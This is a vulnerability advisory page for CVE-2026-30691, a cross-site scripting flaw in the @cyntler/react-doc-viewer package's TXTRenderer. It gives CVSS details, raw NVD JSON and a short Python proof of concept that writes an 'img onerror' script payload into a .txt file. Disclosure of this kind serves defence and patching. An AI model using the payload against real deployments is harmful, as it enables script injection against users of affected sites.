Security Vulnerability Report
中文
CVE-2026-30691 CVSS 6.1 MEDIUM

CVE-2026-30691

Published: 2026-05-20 18:16:27
Last Modified: 2026-05-21 16:08:18

Description

Cross-Site Scripting (XSS) vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a crafted .txt file. The TXTRenderer component fails to sanitize file content and explicitly casts raw data as a ReactNode

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

@cyntler/react-doc-viewer <= 1.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Generator for CVE-2026-30691 import os def generate_malicious_txt(filename): # The payload exploits the TXTRenderer's lack of sanitization # and direct casting to ReactNode. payload = '<img src=x onerror=alert("CVE-2026-30691_PoC")>' with open(filename, 'w') as f: f.write(payload) print(f"[+] Malicious file '{filename}' created.") if __name__ == "__main__": generate_malicious_txt("exploit.txt")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30691", "sourceIdentifier": "[email protected]", "published": "2026-05-20T18:16:26.760", "lastModified": "2026-05-21T16:08:18.383", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a crafted .txt file. The TXTRenderer component fails to sanitize file content and explicitly casts raw data as a ReactNode"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/cyntler/react-doc-viewer/issues/317", "source": "[email protected]"}, {"url": "https://github.com/walidriouah/CVE-2026-30691", "source": "[email protected]"}, {"url": "https://github.com/walidriouah/CVE-2026-30691", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}